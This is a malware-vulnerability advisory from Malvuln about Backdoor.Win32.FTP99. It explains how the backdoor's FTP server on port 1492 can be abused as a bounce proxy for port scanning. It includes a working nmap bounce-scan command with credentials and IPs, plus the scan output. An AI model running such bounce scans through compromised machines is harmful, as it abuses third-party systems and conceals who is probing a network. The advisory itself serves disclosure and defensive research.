Backdoor.Win32.FTP99 Man-In-The-Middle

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.FTP99  
Vulnerability: Port Bounce Scan (MITM)  
Description: The malware listens on TCP port 1492. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Type: PE32  
MD5: 09dd14d3988e08a56798b1480c55a5b0  
Vuln ID: MVID-2022-0466  
Dropped files: Windll16.exe  
Disclosure: 01/24/2022  
  
Exploit/PoC:  
nmap -n -Pn -b hackcity:@192.168.18.129:1492 -p21,22,80 192.168.18.237 -v  
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-17 16:29 UTC-11  
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).  
Attempting connection to ftp://hackcity:@192.168.18.129:1492  
Connected:220-Serv-U FTP-Server v2.3b for WinSock ready...  
220 0wn3d  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 16:29  
Removed 21  
Changed my mind about port 21  
Discovered open port 80/tcp on 192.168.18.237  
Removed 22  
Changed my mind about port 22  
Completed Bounce Scan at 16:29, 2.17s elapsed (3 total ports)  
Nmap scan report for 192.168.18.237  
Host is up.  
  
PORT STATE SERVICE  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds   
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
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